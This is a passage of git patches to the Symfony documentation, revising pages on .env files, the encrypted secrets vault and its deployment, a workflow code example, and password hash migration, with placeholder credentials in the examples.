+For example, to define the ``DATABASE_URL`` env var shown earlier in this article,
+you can add:
 
 .. code-block:: bash
 
     # .env
     DATABASE_URL="mysql://db_user:db_password@127.0.0.1:3306/db_name"
 
+This file should be committed to your repository and (due to that fact) should
+only contain "default" values that are good for local development. This file
+should not contain production values.
+
 In addition to your own env vars, this ``.env`` file also contains the env vars
 defined by the third-party packages installed in your application (they are
 added automatically by :ref:`Symfony Flex <symfony-flex>` when installing packages).
 
+.. _configuration-multiple-env-files:
+
+Overriding Environment Values via .env.local
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If you need to override an environment value (e.g. to a different value on your
+local machine), you can do that in a ``.env.local`` file:
+
+.. code-block:: bash
+
+    # .env.local
+    DATABASE_URL="mysql://root:@127.0.0.1:3306/my_database_name"
+
+This file should be ignored by git and should *not* be committed to your repository.
+Several other ``.env`` files are available to set environment variables in *just*
+the right situation:
+
+* ``.env``: defines the default values of the env vars needed by the application;
+* ``.env.local``: overrides the default values for all environments but only on
+  the machine which contains the file. This file should not be committed to the
+  repository and it's ignored in the ``test`` environment (because tests should
+  produce the same results for everyone);
+* ``.env.<environment>`` (e.g. ``.env.test``): overrides env vars only for one
+  environment but for all machines (these files *are* committed);
+* ``.env.<environment>.local`` (e.g. ``.env.test.local``): defines machine-specific
+  env var overrides only for one environment. It's similar to ``.env.local``,
+  but the overrides only apply to one environment.
+
+*Real* environment variables always win over env vars created by any of the
+``.env`` files.
+
+The ``.env`` and ``.env.<environment>`` files should be committed to the
+repository because they are the same for all developers and machines. However,
+the env files ending in ``.local`` (``.env.local`` and ``.env.<environment>.local``)
+**should not be committed** because only you will use them. In fact, the
+``.gitignore`` file that comes with Symfony prevents them from being committed.
+
+.. caution::
+
+    Applications created before November 2018 had a slightly different system,
+    involving a ``.env.dist`` file. For information about upgrading, see:
+    :doc:`configuration/dot-env-changes`.
+
 .. _configuration-env-var-in-prod:
 
 Configuring Environment Variables in Production
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-In production, the ``.env`` files are also parsed and loaded on each request so
-you can add env vars to those already defined in the server. In order to improve
-performance, you can run the ``dump-env`` command (available when using
-:ref:`Symfony Flex <symfony-flex>` 1.2 or later).
+In production, the ``.env`` files are also parsed and loaded on each request. So
+the easiest way to define env vars is by deploying a ``.env.local`` file to your
+production server(s) with your production values.
 
-This command parses all the ``.env`` files once and compiles their contents into
-a new PHP-optimized file called  ``.env.local.php``. From that moment, Symfony
-will load the parsed file instead of parsing the ``.env`` files again:
+To improve performance, you can optionally run the ``dump-env`` command (available
+in :ref:`Symfony Flex <symfony-flex>` 1.2 or later):
 
 .. code-block:: terminal
 
+    # parses ALL .env files and dumps their final values to .env.local.php
     $ composer dump-env prod
 
+After running this command, Symfony will load the ``.env.local.php`` file to
+get the environment variables and will not spend time parsing the ``.env`` files.
+
 .. tip::
 
     Update your deployment tools/workflow to run the ``dump-env`` command after
     each deploy to improve the application performance.
 
-.. _configuration-env-var-web-server:
+.. _configuration-secrets:
 
-Creating ``.env`` files is the easiest way of using env vars in Symfony
-applications. However, you can also configure real env vars in your servers and
-operating systems.
+Encrypting Environment Variables (Secrets)
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-.. tip::
-
-    SymfonyCloud, the cloud service optimized for Symfony applications, defines
-    some `utilities to manage env vars`_ in production.
-
-.. caution::
+Instead of defining a real environment variable or adding it to a ``.env`` file,
+if the value of a variable is sensitive (e.g. an API key or a database password),
+you can encrypt the value using the :doc:`secrets management system </configuration/secrets>`.
 
-    Beware that dumping the contents of the ``$_SERVER`` and ``$_ENV`` variables
-    or outputting the ``phpinfo()`` contents will display the values of the
-    environment variables, exposing sensitive information such as the database
-    credentials.
-
-    The values of the env vars are also exposed in the web interface of the
-    :doc:`Symfony profiler </profiler>`. In practice this shouldn't be a
-    problem because the web profiler must **never** be enabled in production.
-
-.. _configuration-multiple-env-files:
-
-Managing Multiple .env Files
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Listing Environment Variables
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-The ``.env`` file defines the default values for all env vars. However, it's
-common to override some of those values depending on the environment (e.g. to
-use a different database for tests) or depending on the machine (e.g. to use a
-different OAuth token on your local machine while developing).
+Regardless of how you set environment variables, you can see a full list with
+their values by running:
 
-That's why you can define multiple ``.env`` files to override env vars. The
-following list shows the files loaded in all environments. The ``.env`` file is
-the only mandatory file and each file content overrides the previous one:
+.. code-block:: terminal
 
-* ``.env``: defines the default values of the env vars needed by the application;
-* ``.env.local``: overrides the default values of env vars for all environments
-  but only in the machine which contains the file (e.g. your development computer).
-  This file should not be committed to the repository and it's ignored in the
-  ``test`` environment (because tests should produce the same results for everyone);
-* ``.env.<environment>`` (e.g. ``.env.test``): overrides env vars only for some
-  environment but for all machines;
-* ``.env.<environment>.local`` (e.g. ``.env.test.local``): defines machine-specific
-  env vars overrides only for some environment. It's similar to ``.env.local``,
-  but the overrides only apply to some particular environment.
+    $ php bin/console debug:container --env-vars
 
-.. note::
+    ---------------- ----------------- ---------------------------------------------
+     Name             Default value     Real value
+    ---------------- ----------------- ---------------------------------------------
+     APP_SECRET       n/a               "471a62e2d601a8952deb186e44186cb3"
+     FOO              "[1, "2.5", 3]"   n/a
+     BAR              null              n/a
+    ---------------- ----------------- ---------------------------------------------
 
-    The real environment variables defined in the server always win over the
-    env vars created by the ``.env`` files.
+    # you can also filter the list of env vars by name:
+    $ php bin/console debug:container --env-vars foo
 
-The ``.env`` and ``.env.<environment>`` files should be committed to the shared
-repository because they are the same for all developers and machines. However,
-the env files ending in ``.local`` (``.env.local`` and ``.env.<environment>.local``)
-**should not be committed** because only you will use them. In fact, the
-``.gitignore`` file that comes with Symfony prevents them from being committed.
+    # run this command to show all the details for a specific env var:
+    $ php bin/console debug:container --env-var=FOO
 
-.. caution::
+.. versionadded:: 4.3
 
-    Applications created before November 2018 had a slightly different system,
-    involving a ``.env.dist`` file. For information about upgrading, see:
-    :doc:`configuration/dot-env-changes`.
+    The option to debug environment variables was introduced in Symfony 4.3.
 
 .. _configuration-accessing-parameters:
 
diff --git a/configuration/env_var_processors.rst b/configuration/env_var_processors.rst
index 934c96199f9..67d9bca422e 100644
--- a/configuration/env_var_processors.rst
+++ b/configuration/env_var_processors.rst
@@ -624,59 +624,6 @@ Symfony provides the following env var processors:
 
         The ``query_string`` processor was introduced in Symfony 4.3.
 
-``env(secret:FOO)``
-    Reads a secret value stored in the app's vault, :ref:`see how to set Secrets<secrets-set>`.
-
-    .. code-block:: terminal
-
-        $ php bin/console secrets:set DATABASE_PASSWORD -
-
-    .. configuration-block::
-
-        .. code-block:: yaml
-
-            # config/packages/database.yaml
-            doctrine:
-                dbal:
-                    # by convention the env var names are always uppercase
-                    url: '%env(DATABASE_URL)%'
-                    password: '%env(secret:DATABASE_PASSWORD)%'
-
-        .. code-block:: xml
-
-        <!-- config/packages/doctrine.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:doctrine="http://symfony.com/schema/dic/doctrine"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/doctrine
-                https://symfony.com/schema/dic/doctrine/doctrine-1.0.xsd">
-
-            <doctrine:config>
-                <!-- by convention the env var names are always uppercase -->
-                <doctrine:dbal url="%env(DATABASE_URL)%" password="%env(secret:DATABASE_PASSWORD)%"/>
-            </doctrine:config>
-
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/doctrine.php
-        $container->loadFromExtension('doctrine', [
-            'dbal' => [
-                // by convention the env var names are always uppercase
-                'url' => '%env(DATABASE_URL)%',
-                'password' => '%env(secret:DATABASE_PASSWORD)%',
-            ]
-        ]);
-
-
-    .. versionadded:: 4.4
-
-        The ``secret`` processor was introduced in Symfony 4.4.
-
 It is also possible to combine any number of processors:
 
 .. code-block:: yaml
diff --git a/configuration/secrets.rst b/configuration/secrets.rst
index adccfe62892..edd4d470d84 100644
--- a/configuration/secrets.rst
+++ b/configuration/secrets.rst
@@ -8,192 +8,105 @@ How to Keep Sensitive Information Secret
 
     The Secrets management was introduced in Symfony 4.4.
 
-In :doc:`/configuration` and :doc:`/configuration/environment_variables`, you
-learned how to manage your application configuration. In this article you'll
-learn how to safely configure your application with sensitive information such
-as credentials, passwords, tokens, API keys without exposing them.
+:ref:`Environment variables <config-env-vars>` are the best way to store configuration
+that depends on where the application is run - for example, some API key that
+might be set to one value while developing locally and another value on production.
+
+When these values are *sensitive* and need to be kept private, you can safely
+store them by using Symfony's secrets management system - sometimes called a
+"vault".
 
 .. note::
 
-    In order to use Symfony's secrets, you will need the sodium PHP extension
-    bundled in PHP 7.2, but if you use an earlier PHP version, you can
+    The Secrets system requires the sodium PHP extension that is bundled
+    with PHP 7.2. If you're using an earlier PHP version, you can
     install the `libsodium`_ PHP extension or use the
     `paragonie/sodium_compat`_ package.
 
-.. _secrets-configuration:
-
-Configuration
--------------
-
-By Default, secrets are enabled by the Framework. The default behaviors can be
-configured:
-
-.. configuration-block::
-
-    .. code-block:: yaml
+.. _secrets-generate-keys:
 
-        # config/packages/framework.yaml
-        framework:
-            secrets:
-                #vault_directory: '%kernel.project_dir%/config/secrets/%kernel.environment%'
-                #local_dotenv_file: '%kernel.project_dir%/.env.local'
-                #decryption_env_var: 'base64:default::SYMFONY_DECRYPTION_SECRET'
+Generate Cryptographic Keys
+---------------------------
 
-    .. code-block:: xml
+In order to encrypt and decrypt **secrets**, symfony needs **cryptographic keys**.
+A pair of keys can be generated by running:
 
-            <!-- config/packages/framework.xml -->
-            <?xml version="1.0" encoding="UTF-8" ?>
-            <container xmlns="http://symfony.com/schema/dic/services"
-                xmlns:framework="http://symfony.com/schema/dic/framework"
-                xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-                xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd
-                    http://symfony.com/schema/dic/framework https://symfony.com/schema/dic/framework/framework-1.0.xsd"
-            >
-                <framework:config secret="%env(APP_SECRET)%">
-                    <framework:secrets
-                        vault_directory="%kernel.project_dir%/config/secrets/%kernel.environment%"
-                        local_dotenv_file="%kernel.project_dir%/.env.local"
-                        decryption_env_var="base64:default::SYMFONY_DECRYPTION_SECRET"
-                    />
-                </framework:config>
-            </container>
+.. code-block:: terminal
 
-    .. code-block:: php
+    $ php bin/console secrets:generate-keys
 
-        // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'secrets' => [
-                // 'vault_directory' => '%kernel.project_dir%/config/secrets/%kernel.environment%',
-                // 'local_dotenv_file' => '%kernel.project_dir%/.env.local',
-                // 'decryption_env_var' => 'base64:default::SYMFONY_DECRYPTION_SECRET',
-            ],
-        ]);
+This will generate a pair of asymmetric **cryptographic keys**. Each
+:ref:`environment <configuration-environments>` has its own set of keys. Assuming
+you're coding locally in the ``dev`` environment, this will create:
 
-.. _secrets-generate-keys:
+``config/secrets/dev/dev.encrypt.public.php``
+    Used to encrypt/add secrets to the vault. Can be safely committed.
 
-Generate Cryptographic Keys
----------------------------
+``config/secrets/dev/dev.decrypt.private.php``
+    Used to decrypt/read secrets from the vault. The ``dev`` decryption key can
+    be committed (assuming no highly-sensitive secrets are stored in the dev vault)
+    but the ``prod`` decryption key should *never* be committed.
 
-In order to encrypt and decrypt **secrets**, symfony needs **cryptographic keys**.
-This can be done with the provided command ``secrets:generate-keys``.
+You can generate a pair of cryptographic keys for the ``prod`` environment by
+running:
 
 .. code-block:: terminal
 
-    $ APP_ENV=prod php bin/console secrets:generate-keys
+    $ php bin/console secrets:generate-keys --env=prod
 
-This command generates a new pair of asymetric **cryptographic keys** in
-``%kernel.project_dir%/config/secrets/%kernel.environment%``.
-The **encryption key** is stored in the ``%kernel.environment%.sodium.encrypt.public``
-file, it is used to encrypt secrets when developers add or update secrets. This
-key can be committed. The **decryption key** stored in the
-``%kernel.environment%.sodium.decrypt.private`` file, it is used to decrypt
-secrets and provide the revealed values to services. The number of people who
-have access this key should be as small as possible.
+This will generate ``config/secrets/prod/prod.encrypt.public.php`` and
+``config/secrets/prod/prod.decrypt.private.php``.
 
 .. caution::
 
-    The ``prod.sodium.decrypt.private`` file is sensitive and **should not** be
-    committed nor publicly shared. Your team developers and Continuous
-    Integration services don't need that key. If the **decryption key** has
-    been exposed (ex-employee leaving for instance), you should consider
-    generating a new one with the command ``secrets:generate-keys --rotate``.
+    The ``prod.decrypt.private.php`` file is highly sensitive. Your team of developers
+    and even Continuous Integration services don't need that key. If the
+    **decryption key** has been exposed (ex-employee leaving for instance), you
+    should consider generating a new one by running:
+    ``secrets:generate-keys --rotate``.
 
 .. _secrets-set:
 
 Create or Update Secrets
 ------------------------
 
-You can add new secrets with the command ``secrets:set``. Symfony will ask you,
-in a hidden prompt, to enter the value. Symfony will encrypt this value and
-store it in a file located by default in the folder
-``%kernel.project_dir%/config/secrets/%kernel.environment%``.
-This file should be committed along side the other project's files.
+Suppose you want to store your database password a secret. By using the
+``secrets:set`` command, you should add this secret to both the ``dev`` *and*
+``prod`` vaults:
 
 .. code-block:: terminal
 
-    # create a "DATABASE_PASSWORD" secret interactively
+    # the input is hidden as you type for security
+
+    # set your a default development value (can be overridden locally)
     $ php bin/console secrets:set DATABASE_PASSWORD
 
-    # create secret for the "prod" environment
-    $ APP_ENV=prod php bin/console secrets:set DATABASE_PASSWORD
+    # set your production value
+    $ php bin/console secrets:set DATABASE_PASSWORD --env=prod
+
+This will create a new file for the secret in ``config/secrets/dev`` and another
+in ``config/secrets/prod``. You can also set the secret in a few other ways:
+
+.. code-block:: terminal
 
     # provide a file where to read the secret from
-    $ php bin/console secrets:set APPLICATION_CREDENTIAL ~/Download/key.json
+    $ php bin/console secrets:set DATABASE_PASSWORD ~/Download/password.json
 
     # or contents passed to STDIN
-    $ echo -n "$AWS_SECRET_ACCESS_KEY" | php bin/console secrets:set AWS_KEY -
+    $ echo -n "$DB_PASS" | php bin/console secrets:set DATABASE_PASSWORD -
 
-    # or let Symfony generate a random one for you
+    # or let Symfony generate a random value for you
     $ php bin/console secrets:set REMEMBER_ME --random
 
-If the secret already exists, its value will be overridden by the new one.
-
-.. tip::
-
-    The ``--random`` flag will display the generated value in the output.
-    On Linux, you can use the ``xclip`` command to store it directly in your
-    clipboard:
-
-    .. code-block:: terminal
-
-        $ php bin/console secrets:set REMEMBER_ME --random | xclip -selection c
-
-.. _secrets-reference:
-
 Referencing Secrets in Configuration Files
 ------------------------------------------
 
-You can reference the secrets in any configuration files by prefixing their names
-using the **secret** :ref:`environment variable processors <env-var-processors>`.
-Their actual values will be resolved at runtime, so that container compilation
-and cache warmup don't need the **decryption key**.
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/doctrine.yaml
-        doctrine:
-            dbal:
-                password: '%env(secret:DATABASE_PASSWORD)%'
-                # ...
-            # ...
-
-    .. code-block:: xml
-
-        <!-- config/packages/doctrine.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:doctrine="http://symfony.com/schema/dic/doctrine"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/doctrine
-                https://symfony.com/schema/dic/doctrine/doctrine-1.0.xsd">
+Secret values can be referenced in the same way as
+:ref:`environment variables<config-env-vars>`. Be careful that you don't
+accidentally define a secret *and* an environment variable with the same name:
+**environment variables override secrets**.
 
-            <doctrine:config>
-                <doctrine:dbal
-                    password="%env(secret:DATABASE_PASSWORD)%"
-                />
-            </doctrine:config>
-
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/doctrine.php
-        $container->loadFromExtension('doctrine', [
-            'dbal' => [
-                'password' => '%env(secret:DATABASE_PASSWORD)%',
-            ]
-        ]);
-
-This configuration requires that all environments uses secrets. Each
-environment would have its own **cryptographic keys** and their own encrypted
-secrets.
-
-You can also use parameters to configure different strategies per environnement,
-by defining a default plain text secret:
+If you stored a ``DATABASE_PASSWORD`` secret, you can reference by:
 
 .. configuration-block::
 
@@ -202,13 +115,10 @@ by defining a default plain text secret:
         # config/packages/doctrine.yaml
         doctrine:
             dbal:
-                password: '%database_password%'
+                password: '%env(DATABASE_PASSWORD)%'
                 # ...
             # ...
 
-        parameters:
-            database_password: 'not a secret'
-
     .. code-block:: xml
 
         <!-- config/packages/doctrine.xml -->
@@ -227,10 +137,6 @@ by defining a default plain text secret:
                 />
             </doctrine:config>
 
-            <parameters>
-                <parameter key="database_password">not a secret</parameter>
-            </parameters>
-
         </container>
 
     .. code-block:: php
@@ -241,60 +147,26 @@ by defining a default plain text secret:
                 'password' => '%env(secret:DATABASE_PASSWORD)%',
             ]
         ]);
-        $container->setParameter('database_password', 'not a secret');
-
-Then overriding it in production environment:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/prod/doctrine.yaml
-        parameters:
-            database_password: '%env(secret:DATABASE_PASSWORD)%'
-
-    .. code-block:: xml
-
-        <!-- config/packages/prod/doctrine.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:doctrine="http://symfony.com/schema/dic/doctrine"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/doctrine
-                https://symfony.com/schema/dic/doctrine/doctrine-1.0.xsd">
 
-            <parameters>
-                <parameter key="database_password">%env(secret:DATABASE_PASSWORD)%</parameter>
-            </parameters>
-
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/prod/doctrine.php
-        $container->setParameter('database_password', '%env(secret:DATABASE_PASSWORD)%');
-
-.. _secrets-list:
+The actual value will be resolved at runtime: container compilation and cache
+warmup don't need the **decryption key**.
 
 List Existing Secrets
 ---------------------
 
-Everybody is allowed to list the Secrets' names with the command
-``secrets:list``.
-If you have the **decryption key** you can also reveal the secrets' values by
-passing the option ``--reveal`` to the command:
+Everybody is allowed to list the secrets names with the command
+``secrets:list``. If you have the **decryption key** you can also reveal the
+secrets' values by passing the ``--reveal`` option:
 
 .. code-block:: terminal
 
     $ php bin/console secrets:list --reveal
 
-     ------------------- ------------
-      Name                Value
-     ------------------- ------------
+     ------------------- ------------ -------------
+      Name                Value        Local Value
+     ------------------- ------------ -------------
       DATABASE_PASSWORD   "my secret"
-     ------------------- ------------
+     ------------------- ------------ -------------
 
 Remove Secrets
 --------------
@@ -305,87 +177,145 @@ Symfony provides a convenient command to remove a Secret:
 
     $ php bin/console secrets:remove DATABASE_PASSWORD
 
-Rotate Secrets
---------------
-
-The ``secrets:generate-keys`` command provides an ``--rotate`` option to
-regenerate the **cryptographic keys**.
-Symfony will decrypt previous secrets with the old key, generate new
-**cryptographic keys** and re-encrypt secrets with the new key.
-In order to decrypt previous secrets, the developper must have the
-**decryption key**.
-
-Local secrets
--------------
-
-It's common for developpers to use their own privates secrets (for
-instance a Github token, an Ldap password, or a personnal AWS access key, ...).
+Local secrets: Overriding Secrets Locally
+-----------------------------------------
 
-The ``secrets:set`` and ``secrets:remove`` commands provide an ``--local``
-option that stores the secrets in the local ``.env.local`` file like a standard
-environment variable suffixed with ``_SECRET``.
+The ``dev`` environment secrets should contain nice default values for development.
+But sometimes a developer *still* needs to override a secret value locally when
+developing.
 
-This environment variable will take precedence over the original secret (if
-exists).
+Most of the ``secrets`` commands - including ``secrets:set`` - have a ``--local``
+option that stores the "secret" in the ``.env.{env}.local`` file as a standard
+environment variable. To override the ``DATABASE_PASSWORD`` secret locally, run:
 
 .. code-block:: terminal
 
-    $ echo -n "root" | php bin/console secrets:set DATABASE_PASSWORD -
+    $ php bin/console secrets:set DATABASE_PASSWORD --local
 
-The ``.env.local`` file will look like:
+If you entered ``root``, you will now see this in your ``.env.dev.local`` file:
 
 .. code-block:: bash
 
-    DATABASE_PASSWORD_SECRET=root
+    DATABASE_PASSWORD=root
 
-Listing the secrets will now display the local variable too.
+This will *override* the ``DATABASE_PASSWORD`` secret because environment variables
+always "win" over secrets.
+
+Listing the secrets will now also display the local variable:
 
 .. code-block:: terminal
 
-    $ php bin/console secrets:remove DATABASE_PASSWORD
+    $ php bin/console secrets:list --reveal
      ------------------- ------------- -------------
       Name                Value         Local Value
      ------------------- ------------- -------------
-      DATABASE_PASSWORD   "my secret"   "root"
+      DATABASE_PASSWORD   "dev value"   "root"
      ------------------- ------------- -------------
 
-In addition, Symfony provides the ``secrets:decrypt-to-local``command, it's
-decrypts all secrets and stores them in the local vault. Symfony also provides
-the ``secrets:encrypt-from-local`` command, it's encrypts all local secrets to
-the vault.
+Symfony also provides the ``secrets:decrypt-to-local`` command to decrypts
+all secrets and stores them in the local vault and ``secrets:encrypt-from-local``
+to encrypt all local secrets to the vault.
 
-.. _secrets-deploy
+Secrets in the test Environment
+-------------------------------
+
+If you add a secret in the ``dev`` and ``prod`` environments, it will be missing
+from the ``test`` environment. You *could* create a "vault" for the ``test``
+environment and define the secrets there. But an easier way is to set the test
+values via the ``.env.test`` file:
+
+.. code-block:: bash
+
+    # .env.test
+    DATABASE_PASSWORD="testing"
 
 Deploy secrets to production
 ----------------------------
 
-As the **decryption key** is not committed, during development, you'll have to
-manually deploy it (once and for all). You have 2 ways to do it.
+Because the **decryption key** is not committed, you'll need to manually
+store this file somewhere and deploy it. There are 2 ways to do that:
 
-1) uploading the file
+1) Uploading the file:
 
-The first way, is to copy the **decryption key** file stored in
-``%kernel.project_dir%/config/secrets/%kernel.environment%/%kernel.environment%.sodium.decrypt.private``
-on the servers.
+The first option is to copy the **decryption key** -
+``/config/secrets/prod/prod.decrypt.private.php`` to your server(s).
 
-2) Using env variable
+2) Using an Environment Variable
 
 The second way is to set the ``SYMFONY_DECRYPTION_SECRET`` environment variable
-with the base64 encoded value of the **encryption key**.
+to the base64 encoded value of the **decryption key**. A fancy way to fetch the
+value of the key is:
+
+.. code-block:: terminal
 
-A fancy way to fetch the value of the key is:
+    $ php -r 'echo base64_encode(require "config/secrets/prod/prod.decrypt.private.php");'
+
+To improve performance (i.e. avoid decrypting secrets at runtime), you can decrypt
+your secrets during deployment to the "local" vault:
 
 .. code-block:: terminal
 
-    $ php -r 'echo base64_encode(require "config/secrets/prod/prod.sodium.decrypt.private");'
+    $ php bin/console secrets:decrypt-to-local --force --env=prod
 
-.. _`libsodium`: https://pecl.php.net/package/libsodium
-.. _
-`sodium_compatparagonie/sodium_compat https://packagist.org/packages/paragonie/sodium_compat
+This will put all the decrypted secrets into ``.env.php.local``. After doing this,
+the decryption key does *not* need to remain on the server.
 
-To improve performance, you can also decrypt all secrets and store them in the
-local vault with the command:
+Rotating Secrets
+----------------
 
-.. code-block:: terminal
+The ``secrets:generate-keys`` command provides a ``--rotate`` option to
+regenerate the **cryptographic keys**. Symfony will decrypt existing secrets with
+the old key, generate new **cryptographic keys** and re-encrypt secrets with the
+new key. In order to decrypt previous secrets, the developer must have the
+**decryption key**.
+
+Configuration
+-------------
+
+The secrets system is enabled by default and some of its behavior can be configured:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/framework.yaml
+        framework:
+            secrets:
+                #vault_directory: '%kernel.project_dir%/config/secrets/%kernel.environment%'
+                #local_dotenv_file: '%kernel.project_dir%/.env.%kernel.environment%.local'
+                #decryption_env_var: 'base64:default::SYMFONY_DECRYPTION_SECRET'
+
+    .. code-block:: xml
+
+            <!-- config/packages/framework.xml -->
+            <?xml version="1.0" encoding="UTF-8" ?>
+            <container xmlns="http://symfony.com/schema/dic/services"
+                xmlns:framework="http://symfony.com/schema/dic/framework"
+                xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+                xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd
+                    http://symfony.com/schema/dic/framework https://symfony.com/schema/dic/framework/framework-1.0.xsd"
+            >
+                <framework:config secret="%env(APP_SECRET)%">
+                    <framework:secrets
+                        vault_directory="%kernel.project_dir%/config/secrets/%kernel.environment%"
+                        local_dotenv_file="%kernel.project_dir%/.env.%kernel.environment%.local"
+                        decryption_env_var="base64:default::SYMFONY_DECRYPTION_SECRET"
+                    />
+                </framework:config>
+            </container>
 
-    $ php bin/console secrets:decrypt-to-local --force
+    .. code-block:: php
+
+        // config/packages/framework.php
+        $container->loadFromExtension('framework', [
+            'secrets' => [
+                // 'vault_directory' => '%kernel.project_dir%/config/secrets/%kernel.environment%',
+                // 'local_dotenv_file' => '%kernel.project_dir%/.env.%kernel.environment%.local',
+                // 'decryption_env_var' => 'base64:default::SYMFONY_DECRYPTION_SECRET',
+            ],
+        ]);
+
+
+.. _`libsodium`: https://pecl.php.net/package/libsodium
+.. _`sodium_compatparagonie/sodium_compat`: https://packagist.org/packages/paragonie/sodium_compat
+.. _`paragonie/sodium_compat`: https://github.com/paragonie/sodium_compat
diff --git a/doctrine/pdo_session_storage.rst b/doctrine/pdo_session_storage.rst
index e33486e7718..8123a68460d 100644
--- a/doctrine/pdo_session_storage.rst
+++ b/doctrine/pdo_session_storage.rst
@@ -69,9 +69,9 @@ To use it, first register a new handler service:
 .. tip::
 
     Configure the database credentials
-    :ref:`using environment variables in the config file <config-env-vars>`
-    or :ref:`using secrets in the config file <secrets-reference>` to make
-    your application more secure.
+    :ref:`using environment variables <config-env-vars>`
+    or as a :doc:`secret </configuration/secrets>` to make your application
+    more secure.
 
 Next, tell Symfony to use your service as the session handler:
 

From 4ac71d148f4b747db01056bf5b2ea18c80db28b7 Mon Sep 17 00:00:00 2001
From: Piotr Antosik <mail@piotrantosik.com>
Date: Mon, 20 Jan 2020 22:34:21 +0100
Subject: [PATCH 0190/7107] Fix invalid variable name

---
 workflow.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/workflow.rst b/workflow.rst
index 2a490dbe261..ae99f35f429 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -240,7 +240,7 @@ registry in the constructor::
 
             // Update the currentState on the post
             try {
-                $workflow->apply($post, 'to_review');
+                $workflow->apply($blogPost, 'to_review');
             } catch (LogicException $exception) {
                 // ...
             }

From c93bd6b7423e3709d9af05e5b0990b878574e6ea Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 21 Jan 2020 08:34:43 +0100
Subject: [PATCH 0191/7107] Reversed the variable name fix

---
 workflow.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/workflow.rst b/workflow.rst
index ae99f35f429..0c15a7e1b7f 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -234,13 +234,13 @@ registry in the constructor::
             $this->workflowRegistry = $workflowRegistry;
         }
 
-        public function toReview(BlogPost $blogPost)
+        public function toReview(BlogPost $post)
         {
-            $workflow = $this->workflowRegistry->get($blogPost);
+            $workflow = $this->workflowRegistry->get($post);
 
             // Update the currentState on the post
             try {
-                $workflow->apply($blogPost, 'to_review');
+                $workflow->apply($post, 'to_review');
             } catch (LogicException $exception) {
                 // ...
             }

From 94fc0b40b861b20d561a111dcc9274a7f669e3f6 Mon Sep 17 00:00:00 2001
From: Ryan Weaver <ryan@thatsquality.com>
Date: Sat, 18 Jan 2020 15:46:13 -0600
Subject: [PATCH 0192/7107] tweaking the password upgrading functionality

---
 security/password_migration.rst | 25 ++++++++++++++++---------
 1 file changed, 16 insertions(+), 9 deletions(-)

diff --git a/security/password_migration.rst b/security/password_migration.rst
index d71e8754275..7f1ddf95bd7 100644
--- a/security/password_migration.rst
+++ b/security/password_migration.rst
@@ -9,21 +9,20 @@ How to Migrate a Password Hash
     Password migration was introduced in Symfony 4.4.
 
 In order to protect passwords, it is recommended to store them using the latest
-hash algorithms. This means that if a better hash algorithm is supported on the
-system, the user's password should be rehashed and stored. Symfony provides this
-functionality when a user is successfully authenticated.
-
-To enable this, make sure you apply the following steps to your application:
+hash algorithms. This means that if a better hash algorithm is supported on your
+system, the user's password should be *rehashed* using the newer algorithm and
+stored. That's possible with the ``migrate_from`` option:
 
 #. `Configure a new Encoder Using "migrate_from"`_
 #. `Upgrade the Password`_
 #. Optionally, `Trigger Password Migration From a Custom Encoder`_
 
 Configure a new Encoder Using "migrate_from"
---------------------------------------------
+----------------------------------------------
 
-When configuring a new encoder, you can specify a list of legacy encoders by
-using the ``migrate_from`` option:
+When a better hashing algorithm becomes available, you should keep the existing
+encoder(s), rename it, and then define the new one. Set the ``migrate_from`` option
+on the new encoder to point to the old, legacy encoder(s):
 
 .. configuration-block::
 
@@ -34,6 +33,7 @@ using the ``migrate_from`` option:
             # ...
 
             encoders:
+                # an encoder used in the past for some users
                 legacy:
                     algorithm: sha256
                     encode_as_base64: false
@@ -102,6 +102,13 @@ using the ``migrate_from`` option:
             ],
         ]);
 
+With this setup:
+
+* New users will be encoded with the new algorithm;
+* Whenever a user logs in whose password is still stored using the old algorithm,
+  Symfony will verify the password with the old algorithm and then re-encode
+  and update the hashed password using the new algorithm.
+
 .. tip::
 
     The *auto*, *native*, *bcrypt* and *argon* encoders automatically enable
@@ -110,7 +117,7 @@ using the ``migrate_from`` option:
     #. :ref:`PBKDF2 <reference-security-pbkdf2>` (which uses :phpfunction:`hash_pbkdf2`);
